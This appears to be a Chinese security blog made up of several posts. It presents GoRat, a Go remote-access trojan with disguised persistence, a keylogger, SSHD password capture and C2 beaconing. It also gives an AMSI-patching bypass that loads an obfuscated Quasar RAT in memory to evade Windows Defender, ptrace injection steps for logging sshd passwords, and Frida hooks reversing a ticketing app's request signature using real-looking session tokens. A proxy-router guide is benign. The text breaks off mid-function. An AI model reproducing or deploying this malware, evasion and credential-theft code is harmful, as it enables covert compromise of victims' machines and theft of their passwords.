Cond0r 发布的文章

GoRat 使用Go开发的B/S架构远控

-w1455

只用于学习beego与go开发,请勿用于非法用途。

功能列表

  • [x] 开机启动
  • [x] 命令执行
  • [x] Keylogger
  • [x] SSHD密码记录
  • [ ] SSH Client密码记录
  • [ ] Mysql密码记录
  • [ ] 桌面截图
  • [ ] 远程代理

技术架构

服务端使用Beego开发
客户端使用纯Go开发

服务端

采用Beego开发,共六个路由

func init() {
    //首页登录
    beego.Router("/", &controllers.MainController{})
    //主机列表与客户端上线心跳
    beego.Router("/host", &controllers.HostController{})
    //客户端任务结果上报
    beego.Router("/task", &controllers.TaskController{})
    //执行命令模块
    beego.Router("/cmd", &controllers.CmdController{})
    //sshd密码记录模块
    beego.Router("/sshd", &controllers.SshdController{})
    //键盘记录模块
    beego.Router("/key", &controllers.KeyController{})
}

配置文件 conf/app.conf

appname = goratServer
httpport = 8080 #端口
runmode = dev
copyrequestbody = true
password = 123456 #登录密码

部署方式

先修改 goratClient/common/common.go中的Host为你自己的server地址

var Host = "http://192.168.101.40:8080/"

然后运行 build.sh,编译linux64位版本,其他版本可自行编译。
然后进入goratServer,运行

go install  github.com/astaxie/beego
go get github.com/beego/bee
bee run

即可成功启动,若想打包成二进制文件在其他机器上部署可执行

bee pack -be GOOS=linux
bee pack -be GOOS=windows

goratServer/module中为编译好的keylogger与sshd密码记录,可以自行重新编译,其源码在项目目录中的module文件夹中

通讯协议

支持部署在cdn后面,同时也建议部署在cdn之后,隐藏真实IP。
采用http通讯,数据采用POST上报,无任何加密,数据结构如下

type HostInfo struct{
    HostName string
    IpAddr string
    UUID string
    Goos string
    LastOnline time.Time
    Mark string
    RemoteAddr string
}

任务下发与回复数据结构如下

type TaskInfo struct{
    UUID string
    TaskId string
    TaskParams string
    TaskType string
    TaskResult string `执行完成之后会把结果放入其中进行回复`
}

第一次上线默认1秒取一次任务,若连续60秒无任务下发,则进入休眠模式,将会100秒+25秒随机发心跳包

time_sleep = 100 + rand.Intn(25000)

若接受到任务之后,则会继续转变成1秒一次的心跳。

除了命令执行意外以外,其他所有模块都存放在module/文件夹中,调用时将进行动态部署,方便后期扩容。

客户端

HTTP短连接

采用短连接,基本netstat -an看不到网络连接,发包之后就直接释放。
代码如下

func dialTimeout(network, addr string) (net.Conn, error) {
    conn, err := net.DialTimeout(network, addr, time.Second*POST_REMOTE_TIMEOUT)
    if err != nil {
        return conn, err
    }

    tcp_conn := conn.(*net.TCPConn)
    tcp_conn.SetKeepAlive(false)

    return tcp_conn, err
}
func SendRequest(action string ,data url.Values,sendType string) string{
    transport := http.Transport{
        Dial:              dialTimeout,
        DisableKeepAlives: true, //关闭keepalive
    }
    client := &http.Client{
        Transport: &transport,
    }
    body := strings.NewReader(data.Encode())
    url:=Host+action
    req, err := http.NewRequest(sendType, url, body)
  ...
}    

就算服务没开netstat也没有任何连接,开了之后也是一样的。
-w771

开机启动

采用复制自身到/bin/udevd并修改文件时间,然后创建/etc/profile.d/which3.sh文件,写入启动内容

func Autorun() {
    if os.Args[0] != "/bin/udevd" {
        _, err := common.CopyFile(os.Args[0], "/bin/udevd")
        if err != nil {
            fmt.Print(err)
        } else {
            os.Remove(os.Args[0])
            bash := "# Initialization script for bash and sh\n"
            bash += "# export AFS if you are in AFS environment\n"
            bash += "a=`ps -fe|grep /bin/udevd |grep -v grep|wc|awk '{print$1}'`\n"
            bash += "if [ \"$a\" -eq 0 ] \n"
            bash += "then\n"
            bash += "/bin/udevd\n"
            bash += "fi\n"
            errf := ioutil.WriteFile("/etc/profile.d/which3.sh", []byte(bash), 0644)
            if errf != nil {
                fmt.Print(errf)
            }
            GetFileModTime("/bin/udevd")
            GetFileModTime("/etc/profile.d/which3.sh")
        }

    }

}

SSHD密码记录

采用ptract注入sshd进程,并将记录到密码存放在/tmp/sshpassword.txt
其开启逻辑如下

func Task_sshd(task common.TaskInfo,status string){
    if status=="open"{
        moduleUrl:=common.Host+"/module/sshd.tar"
        os.Mkdir("/tmp/.../",os.ModePerm)
        check:=common.DownloadFile(moduleUrl,"/tmp/.../sshd.tar")
        if check{
            cmd:="tar xvf /tmp/.../sshd.tar -C /tmp/.../"
            Run(cmd)
            cmd="cd /tmp/.../;sh run.sh;"
            go Run(cmd)
            task.TaskResult="open success"
            common.UploadResult(task)
        }else{
            task.TaskResult="download module fail"
            common.UploadResult(task)
            
        }

    }

键盘记录

采用开源keylogger程序,并将其记录到的输入记录到/tmp/.auth.log中,不支持记录ssh会话的输入,只支持物理键盘的输入或vnc等远程连接。

参考文档

无需重新编译OpenSSH,通过ptrace注入记录SSHD密码

http://aq.mk/index.php/archives/86.html

修改后的SSHD密码记录,支持自动查找SSHD pid与libdl版本

https://github.com/code-scan/ssh-inject-auto-find-libdl

Beego

http://github.com/beego/bee

http://beego.me/

Go键盘记录

https://github.com/MarinX/keylogger

GoRat项目地址

https://github.com/code-scan/goRat

使用C#动态加载与ASMI Bypass绕过Windows Defender

1. 什么是C#的动态加载

C#允许使用Assembly动态加载DLL/EXE等可执行文件,并且可以调用其中指定的函数,写法如下


Assembly assem = Assembly.Load(payload);
MethodInfo main = assem.EntryPoint;
main.Invoke(null, new string[] { null });

其中加载支持从文件或从内存加载,分别有如下实现
-w1181
为了防止文件落地,我们一般只使用内存加载,因为如果你的payload被杀,也无法通过文件进行加载,如果使用内存加载,我们就可以先对Payload进行一定的混淆加密,这样在运行之前都不会被查杀

2. 什么是ASMI与如何Bypass

ASMI实际是程序在运行的时候会被注入一个asmi.dll,该文件会对程序运行时进行动态查杀,并且会查杀之后返回一个ASMI_RESULT,这里result里面存储了查杀的结果。
如果我要进行bypass,只需要hook这个result,让其返回一个正常结果即可实现绕过ASMI的检测。
github上有现成的实现,直接拿来用即可
https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs
核心部分如下

public class Amsi
{
    // https://twitter.com/_xpn_/status/1170852932650262530
    static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

    public static void Bypass()
    {
        if (is64Bit())
            PatchAmsi(x64);
        else
            PatchAmsi(x86);
    }

    private static void PatchAmsi(byte[] patch)
    {
        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }
}

但是因为该库可能使用的人比较多,导致该dll会被查杀,我们只需要修改

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

把其中的数组顺序改一下,然后在输入的时候还原回去即可
少做修改如下

    public static void PatchNew()
    {
        byte[] patch = new byte[8];
        patch[0]= 0xB8;
        patch[1] = 0x57;
        patch[2] = 0x00;
        patch[3] = 0x07;
        patch[4] = 0x80;
        patch[5] = 0xC2;
        patch[6] = 0x18;
        patch[7] = 0x00;
        //0xB8, , , , , , , 

        try
        {
            var lib = Win32.LoadLibrary("amsi.dll");
            var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

            uint oldProtect;
            Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

            Marshal.Copy(patch, 0, addr, patch.Length);
        }
        catch (Exception e)
        {
            Console.WriteLine(" [x] {0}", e.Message);
            Console.WriteLine(" [x] {0}", e.InnerException);
        }
    }

3. 用起来

首先把ASMIBypass编译出来,最后会生成一个DLL文件,我们新建一个C#的项目工程,可以直接引用这个dll文件,也可以通过我们前面说的动态调用进行执行,我这里对这个DLL进行了简单的混淆,并且把它加到资源文件中,最后通过动态调用他执行Bypass。
-w413
其中调用ASMIBypass部分代码如下

    public static void LoadBypassDll()
        {
            Assembly assembly = Assembly.GetExecutingAssembly();
            Assembly myAssem = Assembly.GetEntryAssembly();

            string asb = Resource1.ASBBypass_dll;
            string result = Dencrypt(asb);

            byte[] payload = Convert.FromBase64String(result);
            Assembly assem = Assembly.Load(payload);
            var theType = assem.GetType("HelloWord");
            var c = Activator.CreateInstance(theType);
            var method = theType.GetMethod("PatchNew");
            method.Invoke(c, null);
        }    

然后把我们的马也进行混淆加密,同样放入资源文件
我这里用的Quasar-1.3.0.0生成的客户端
-w349
然后动态调用其入口函数

    public static void LoadShellCode()
    {
            string result = Resource1.install2_exe;
            result = Dencrypt(result);
            byte[] payload = Convert.FromBase64String(result);
            Assembly assem = Assembly.Load(payload);
            MethodInfo main = assem.EntryPoint;
            main.Invoke(null, new string[] { null });
    }

剩下我们只需要在程序运行的时候先调用Bypass,在运行我们的马即可

namespace ASMIbypassM
{

    class Program
    {
        static void Main(string[] args)
        {
            Bypass.LoadBypassDll();
            Bypass.LoadShellCode();
        }
    }
}

最后运行毫无压力
-w1689

SuperRouter 自建旁路由

-w988

1. 什么是旁路由

主路由即是我们的网关路由器,负责网络数据的处理与传输,旁路由一般是一个单网卡设备,上级也是我们的网关路由器,我们可以在该设备上开启tcp转发等设置,然后把电脑或其他设备的网关地址改成该旁路由的地址,达到所有流量先通过该设备进行处理,然后在发送到网关路由器。
如果我们在旁路由上对特定的流量进行处理即可实现XX效果。

2. 运行原理

-w720

其中先在旁路由设备上开启proxy Client链接到远程的proxy Server,并在本地开启socks5代理,然后在使用ipt2socks把普通的socks5代理转换成iptable支持的透明代理
其中proxy Sever使用的是kcpTun+socks5(不支持udp),然后针对不同的内网IP进行指定不同的代理,如果针对不同的远程IP进行分流,则可以使用ipset进行增加规则,在通过iptable的match进行匹配。

3. 配置

1. 开启远程代理

这里使用的是我自己修改的kcptun,内置了socks5代理,执行运行

nohup ./kcp_server &

默认会监听29900(udp)端口,作为kcp的通讯端口,监听127.0.0.1:12489(tcp)作为本地s5,
客户端运行

nohup ./kcp_server -r remote_addr:29900 -l 127.0.0.1:65000 > /dev/null &

这样就会把远程的12498的s5转发到本地的65000(tcp)上
测试是否成功可使用

curl ipinfo.io -x socks5://127.0.0.1:65000

查看是否可以正常访问,若没问题则代表代理链接成功。

2. 开启本地透明代理

使用开源项目 ipt2socks

nohup ipt2socks -s 127.0.0.1:65000 -p 55000 -l 0.0.0.0 -R > /dev/null &

即可实现把本地的65000上的s5转化成监听在0.0.0.0:55000(tcp)上的透明代理

3. 配置iptables指定设备走代理上网

首先需要忽略掉本地IP的访问,否则会导致本地网络无法访问到旁路由设备

...
    private $ips=array(
                    "10.10.0.0/16",
                    "10.0.0.0/8",
                    "169.254.0.0/16",
                    "172.16.0.0/12",
                    "192.168.0.0./16",
                    "127.0.0.1/32",
                    "224.0.0.0/4",
                    "240.0.0.0/4"
                );
...
    public function runIPTABLE(){
        //先通过ulimit 设置可同时打开的文件句柄数量,并清空之前的iptable的nat记录
        $cmd="ulimit -n 65535;iptables -t nat -F;";
        system($cmd);
        foreach($this->ips as $ip){
            $cmd="iptables -t nat -I PREROUTING -d {$ip} -j RETURN;";
            system($cmd);
        }
        
    }

在设定指定IP走55000这个透明代理

iptables -t nat -A PREROUTING -p tcp -s 192.168.1.100 -j REDIRECT --to-ports 55000

这里的192.168.1.100为需要通过代理上网的内网客户机IP
到这里,所有192.168.1.100的所有出口流量都会被转发到本地55000进行处理,也就是会走之前配置的proxy Sever

4. 使用DOH

因为该代理只代理了tcp流量,所以我们DNS解析实际还是可以被干扰,这里我们使用cloudflare提供的DOH服务器和起dns转发工具

cloudflared proxy-dns --address 0.0.0.0 > /dev/null &

5.国内外流量分流

如果需要国内流量不通过该proxy进行转发,那么我们需要绕过所有的国内ip

    public function ipset_china(){
        $check='ipset -N china hash:net';
        $data=shell_exec($check);
        if(stripos($data,'already')!==false) return;
        // 通过ipset设置一个分组,并把所有中国的IP倒入进去
        $cmd=array(
            'ipset destroy china',
            'ipset -N china hash:net',
            'rm temp/cn.zone',
            'wget -O temp/cn.zone http://www.ipdeny.com/ipblocks/data/countries/cn.zone',
            'for i in $(cat ./temp/cn.zone ); do ipset -A china $i; done',
        );
        foreach($cmd as $c){
            system($c);
        }
    }
    
    public function connect_nochina($iptPort,$clientIp){
        $this->disconnect($clientIp);
        $this->ipset_china();
        $cmd=array(
        // 绕过国内IP
            "iptables -t nat -A PREROUTING -p tcp -s {$clientIp} -m set --match-set china dst -j RETURN", 
            
            "iptables -t nat -A PREROUTING -p tcp -s {$clientIp} -j REDIRECT --to-ports {$iptPort}"
        );
        foreach($cmd as $c){
            system($c);
        }

    }

6. 使用

现在只需要把客户机的ip分配改为手动,最后把网关写成该旁路由设备的ip地址,并把dns也改成该设备的IP即可。

3. 自动化

机遇上面的基础上,我们可以打造一套自己的流量转发系统
在该基础下也写了Frp的Gui管理
最终实现结果如下:
-w988
-w1455
-w1092

7. 依赖

cloudflared DOH客户端
ipt2socks socks5转透明代理工具
kcpTun加速协议
go-socks5 服务端
frp端口转发神器

无需重新编译OpenSSH,通过ptrace注入记录SSHD密码

本来想自己研究一下然后写一个,在查资料的时候发现别人已经研究写出了成型的demo,原文可以查看
https://blog.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/
国内缓存:https://buaq.net/go-25514.html
工具链接:https://github.com/xpn/ssh-inject

原文就不翻译了,说一下用法和几个需要修改地方
他的逻辑大概是先通过hook libdl.so实现注入一个so文件到sshd里面,然后在通过这个so去hook auth_password实现密码记录。

首先需要先查看当前机器的sshd的libdl版本,

ps aux|grep sshd #获取pid


查看其调用的libdl版本

修改ssh-inject/inject.c中的libdl部分代码

...
void *libdlAddr = NULL;

    libdlAddr = dlopen("libdl-2.19.so", RTLD_LAZY);
    ....
    remoteLib = findLibrary("libdl-2.19", atoi(argv[1]));
   ...
    ...
    localLib = findLibrary("libdl-2.19", -1); //

...

把这三个位置的libdl-2.19改成之前查看出来的libdl-2.17即可
然后临时关闭SElinux,否则会导致注入失败

setenforce 0 #临时关闭SELinux
./run.sh 23189 #sshd的pid

记录到的密码默认写到tmp目录下

先抓包获得提交订单的请求如下

可以看到签名的参数在header里面,名字叫做x-sign,jadx搜索一下


然后在接着搜索X_SIGN
然后根据名字猜测到在这个位置

函数如下

public String getSign(HashMap<String, String> params, String appKey) {
        String str;
        UnsupportedEncodingException e;
        SecException e2;
        String str2 = "";
        String str3 = (String) mo28972a((Map<String, String>) params, appKey).get("INPUT");
        try {
            if (this.f13463e == null || StringUtils.isBlank(str3)) {
                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]middleTier null or data data ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            HashMap hashMap = new HashMap();
            hashMap.put("data", str3.getBytes("UTF-8"));
            hashMap.put("env", Integer.valueOf(m13472d()));
            hashMap.put("appkey", appKey);
            HashMap sign = this.f13463e.getSign(hashMap);
            if (sign == null || sign.isEmpty()) {
                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]get sign failed with no output ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            str = (String) sign.remove(HttpHeaderConstant.X_SIGN);
            try {
                if (!StringUtils.isNotBlank(str)) {
                    return str;
                }
                params.putAll(sign);
                return str;
            } catch (UnsupportedEncodingException e3) {
                e = e3;
                TBSdkLog.m3642e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]your input data transfer to byte utf-8 failed ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, e);
                return str;
            } catch (SecException e4) {
                e2 = e4;
                TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]get sign failed and SecException errorCode " + e2.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e2);
                return str;
            }
        } catch (UnsupportedEncodingException e5) {
            UnsupportedEncodingException unsupportedEncodingException = e5;
            str = str2;
            e = unsupportedEncodingException;
            TBSdkLog.m3642e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]your input data transfer to byte utf-8 failed ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, e);
            return str;
        } catch (SecException e6) {
            SecException secException = e6;
            str = str2;
            e2 = secException;
            TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getSign]get sign failed and SecException errorCode " + e2.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e2);
            return str;
        }
    }

不用去关心他到底怎么计算签名,直接写一段hook看一下是否用的这个函数进行签名

    setTimeout(function() {
    Java.perform(function() {


        var HttpRequestEntity = Java.use('mtopsdk.security.b'); //要hook的类名完整路径
        // var func = new HttpRequestEntity();
        // func.signature('1', '13123', false);
        HttpRequestEntity.getSign.implementation = function(arg1, arg2) { // 重写要hook的方法getSign,当有多个重名函数时需要重载,function括号为函数的参数个数

            var Sign = this.getSign(arg1, arg2); //调用原始的函数实现并且获得返回值,如果不写的话我们下面的代码会全部替换原函数

            send("arg1:" + arg1); //打印参数值
            send("arg2:" + arg2);


            send("result:" + Sign); //打印返回值

            return Sign; //函数有返回值时需要返回
        };

    })

});
➜  x frida-ps -U |grep damai
16738  cn.damai
17005  cn.damai:channel
➜  x frida -l damai.js -U -f cn.damai --no-pause
     ____
    / _  |   Frida 12.7.22 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Spawned `cn.damai`. Resuming main thread!
message: {'type': 'send', 'payload': 'arg1:{data={"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}, lng=118.818906, utdid=XCquBhVOGfwDAMHCRzpMcJHX, [email protected]_android_7.7.2, deviceId=Auw_p33fvcb-qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7, sid=149c5f8c17bf88a759f4ec5ebc6ae27a, uid=2206462755405, x-features=27, t=1584889999, v=2.0, appKey=23781390, api=mtop.alibaba.detail.subpage.getdetail, lat=32.107127}'} data: None
message: {'type': 'send', 'payload': 'arg2:23781390'} data: None
message: {'type': 'send', 'payload': 'result:ab25b000902a1cb73174adb1f6ffd602c2b885dd8e6efbc4ec'} data: None

看参数基本就是这个函数了,我们再把之前抓包抓到的参数拿去签名然后对比一下结果是否一样校验一下
在看一下sign的这个类,其实还有一个init初始化函数

   public void init(@NonNull MtopConfig mtopConfig) {
        super.init(mtopConfig);
        String c = mo44553c();
        try {
            SignStatistics.m23759a(mtopConfig.uploadStats);
            long currentTimeMillis = System.currentTimeMillis();
            this.f13461c = SecurityGuardManager.getInstance(this.f23497a.context);
            m13470a(StringUtils.isEmpty(mtopConfig.appKey) ? m13468a(mtopConfig.appKeyIndex, mo44552b()) : mtopConfig.appKey, mo44552b());
            MtopSDKThreadPoolExecutorFactory.submit(new InnerSignImpl$1(this, this.f23497a.context, c));
            m13471a(mtopConfig);
            if (TBSdkLog.isLogEnable(LogEnable.InfoEnable)) {
                TBSdkLog.m3644i("mtopsdk.InnerSignImpl", c + " [init]ISign init SecurityGuard succeed.init time=" + (System.currentTimeMillis() - currentTimeMillis));
            }
        } catch (SecException e) {
            int errorCode = e.getErrorCode();
            SignStatistics.m23758a(SignStatsType.TYPE_SG_MANAGER, String.valueOf(errorCode), "");
            TBSdkLog.m3643e("mtopsdk.InnerSignImpl", c + " [init]ISign init SecurityGuard error.errorCode=" + errorCode, (Throwable) e);
        } catch (Exception e2) {
            TBSdkLog.m3643e("mtopsdk.InnerSignImpl", c + " [init]ISign init SecurityGuard error.", (Throwable) e2);
        }
    }

我们在写一个hook看一下传进来的参数是什么

setTimeout(function() {
    Java.perform(function() {


        var HttpRequestEntity = Java.use('mtopsdk.security.b'); //要hook的类名完整路径
        // var func = new HttpRequestEntity();
        // func.signature('1', '13123', false);
        HttpRequestEntity.init.implementation = function(arg1) { // 重写要hook的方法getSign,当有多个重名函数时需要重载,function括号为函数的参数个数

            var Sign = this.init(arg1); //调用原始的函数实现并且获得返回值,如果不写的话我们下面的代码会全部替换原函数

            send("arg1:" + arg1); //打印参数值
            //mtopsdk.mtop.global.MtopConfig


            send("result:" + Sign); //打印返回值

            return Sign; //函数有返回值时需要返回
        };

    })

});

执行结果如下

➜  x frida -l init.js -U -f cn.damai --no-pause
     ____
    / _  |   Frida 12.7.22 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Spawned `cn.damai`. Resuming main thread!
[Samsung SM-G9550::cn.damai]-> message: {'type': 'send', 'payload': 'arg1:[email protected]'} data: None

可以看到传进来的是mtopsdk.mtop.global.MtopConfig这么一个类,那么我们来看一下这个类
这个类初始化的时候也有一个参数

  public MtopConfig(String instanceId2) {
        this.instanceId = instanceId2;
    }

再写一个hook看一下

setTimeout(function() {
    Java.perform(function() {


        var HttpRequestEntity = Java.use('mtopsdk.mtop.global.MtopConfig'); //要hook的类名完整路径
        // var func = new HttpRequestEntity();
        // func.signature('1', '13123', false);
        HttpRequestEntity.$init.implementation = function(arg1) { // 重写要hook的方法getSign,当有多个重名函数时需要重载,function括号为函数的参数个数

            var Sign = this.$init(arg1); //调用原始的函数实现并且获得返回值,如果不写的话我们下面的代码会全部替换原函数

            send("arg1:" + arg1); //打印参数值
            //mtopsdk.mtop.global.MtopConfig


            send("result:" + Sign); //打印返回值

            return Sign; //函数有返回值时需要返回
        };

    })

});

结果如下

➜  x frida -l config.js -U -f cn.damai --no-pause
     ____
    / _  |   Frida 12.7.22 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Spawned `cn.damai`. Resuming main thread!
[Samsung SM-G9550::cn.damai]-> message: {'type': 'send', 'payload': 'arg1:INNER'} data: None
message: {'type': 'send', 'payload': 'result:undefined'} data: None
message: {'type': 'send', 'payload': 'arg1:OPEN'} data: None
message: {'type': 'send', 'payload': 'result:undefined'} data: None
message: {'type': 'send', 'payload': 'arg1:INNER'} data: None
message: {'type': 'send', 'payload': 'result:undefined'} data: None
message: {'type': 'send', 'payload': 'arg1:OPEN'} data: None

可以看到要么是OPEN,要么是INNER,那么就非常明了了,我们写一个脚本把参数带进去签名一下对比一下结果
这是原始参数

message: {'type': 'send', 'payload': 'arg1:{data={"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}, lng=118.818906, utdid=XCquBhVOGfwDAMHCRzpMcJHX, [email protected]_android_7.7.2, deviceId=Auw_p33fvcb-qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7, sid=149c5f8c17bf88a759f4ec5ebc6ae27a, uid=2206462755405, x-features=27, t=1584889999, v=2.0, appKey=23781390, api=mtop.alibaba.detail.subpage.getdetail, lat=32.107127}'} data: None
message: {'type': 'send', 'payload': 'arg2:23781390'} data: None
message: {'type': 'send', 'payload': 'result:ab25b000902a1cb73174adb1f6ffd602c2b885dd8e6efbc4ec'} data: None

脚本如下

import frida, sys
from urllib import parse
from time import sleep

def on_message(message, data):
    global result
    result=message
    print('----------------------------------------------------------------')
    print(message,data)
        
jscode = """
function sign(args) {
    Java.perform(function () {
        var HashMap = Java.use('java.util.HashMap');
        var hm = HashMap.$new();
        var hm1=HashMap.$new();

        var config = Java.use('mtopsdk.mtop.global.MtopConfig');
        var mconfig=config.$new("INNER");
        console.log(args)
        hm1.put("buyNow","true");
        hm1.put("exParams",args);
        hm1.put("buyParam","613369982548_1_4314464576860")

        hm.put("data",args);
        hm.put("lng","118.818906");
        hm.put("utdid","XCquBhVOGfwDAMHCRzpMcJHX");
        hm.put("ttid","[email protected]_android_7.7.2")
        hm.put("deviceId","Auw_p33fvcb-qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7")
        hm.put("sid","149c5f8c17bf88a759f4ec5ebc6ae27a")
        hm.put("uid","2206462755405")
        hm.put("x-features","27")
        hm.put("t","1584889999")
        hm.put("v","2.0")
        hm.put("appKey","23781390")
        hm.put("api","mtop.alibaba.detail.subpage.getdetail")
        hm.put("lat","32.107127")
        console.log(hm)
        var HttpRequestEntity = Java.use('mtopsdk.security.b');
        var func = HttpRequestEntity.$new()
        func.init(mconfig);
        var result = func.getSign(hm,"23781390")
        send("sign:" + result);
        return result;
    })
}
function onMessage(pokeMessage) {
    sign(pokeMessage['line']);
    recv('sign', onMessage);
}
recv('sign', onMessage);
"""
process = frida.get_usb_device().attach('cn.damai')
result=[]
script = process.create_script(jscode)
script.on('message', on_message)
script.load()
# params='''{"buyNow":"true","exParams":"{\"umpChannel\":\"10001\",\"coupon\":\"true\",\"websiteLanguage\":\"zh_CN_#Hans\",\"channel\":\"damai_app\",\"atomSplit\":\"1\",\"seatInfo\":\"\",\"coVersion\":\"2.0\"}","buyParam":"613369982548_1_4314464576860"}'''
params='''{"buyNow":"true","exParams":"{\\"umpChannel\\":\\"10001\\",\\"coupon\\":\\"true\\",\\"websiteLanguage\\":\\"zh_CN_#Hans\\",\\"channel\\":\\"damai_app\\",\\"atomSplit\\":\\"1\\",\\"seatInfo\\":\\"\\",\\"coVersion\":\\"2.0\\"}","buyParam":"613369982548_1_4314464576860"}'''
# params='''"{\\"umpChannel\\":\\"10001\\",\\"coupon\\":\\"true\\",\\"websiteLanguage\\":\\"zh_CN_#Hans\\",\\"channel\\":\\"damai_app\\",\\"atomSplit\\":\\"1\\",\\"seatInfo\\":\\"\\",\\"coVersion\":\\"2.0\\"}"'''
# print(params)
params ='''{"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}'''
script.post({"type": "sign",'line':params})

'''
lng = 118.818534, utdid = XCquBhVOGfwDAMHCRzpMcJHX, 
ttid = 10005890 @damai_android_7 .7 .2, 
deviceId = Auw_p33fvcb - qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7, 
sid = 149 c5f8c17bf88a759f4ec5ebc6ae27a, 
uid = 2206462755405, x - features = 27, t = 1584888568, v = 4.0, appKey = 23781390, 
api = mtop.trade.order.build, lat = 32.106986
'''
while True:
    if result!=[]:
        print(result)
        print('over')
        break
    sleep(1)

'''
message: {'type': 'send', 'payload': 'arg1:{data={"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}
, lng=118.818906,
 utdid=XCquBhVOGfwDAMHCRzpMcJHX, [email protected]_android_7.7.2, deviceId=Auw_p33fvcb-qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7, 
 sid=149c5f8c17bf88a759f4ec5ebc6ae27a, uid=2206462755405, x-features=27, t=1584889999, v=2.0, appKey=23781390, api=mtop.alibaba.detail.subpage.getdetail, lat=32.107127}'} data: None
message: {'type': 'send', 'payload': 'arg2:23781390'} data: None
message: {'type': 'send', 'payload': 'result:ab25b000902a1cb73174adb1f6ffd602c2b885dd8e6efbc4ec'} data: None
'''

最新结果如下

➜  x python3 test.py
{"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}
{data={"itemId":"613369982548","scenario":"itemsku","channel_from":"damai_market","bizCode":"ali.china.damai","appType":"1","osType":"2","exParams":"{}","source":"10101","version":"6000076"}, lng=118.818906, utdid=XCquBhVOGfwDAMHCRzpMcJHX, [email protected]_android_7.7.2, deviceId=Auw_p33fvcb-qYhQnFUd4IAw1zJfUPYAfdVSWlF8OCH7, sid=149c5f8c17bf88a759f4ec5ebc6ae27a, uid=2206462755405, x-features=27, t=1584889999, v=2.0, appKey=23781390, api=mtop.alibaba.detail.subpage.getdetail, lat=32.107127}
----------------------------------------------------------------
{'type': 'send', 'payload': 'sign:ab25b000902a1cb73174adb1f6ffd602c2b885dd8e6efbc4ec'} None
{'type': 'send', 'payload': 'sign:ab25b000902a1cb73174adb1f6ffd602c2b885dd8e6efbc4ec'}
over
➜  x

对比一下之前的签名,一模一样,证明找对地方了

下面还需要解决x-mini-wua与wua
其实和sign都在同一个类里面,按照上面的方法在进行hook即可,

public String getWua(HashMap<String, String> params, String appKey) {
        String str;
        UnsupportedEncodingException e;
        SecException e2;
        String str2 = "";
        String str3 = (String) params.get("sign");
        try {
            if (this.f13463e == null || StringUtils.isBlank(str3)) {
                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]middleTier null or data data ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            HashMap hashMap = new HashMap();
            hashMap.put("data", str3.getBytes("UTF-8"));
            hashMap.put("env", Integer.valueOf(m13472d()));
            HashMap wua = this.f13463e.getWua(hashMap);
            if (wua == null || wua.isEmpty()) {
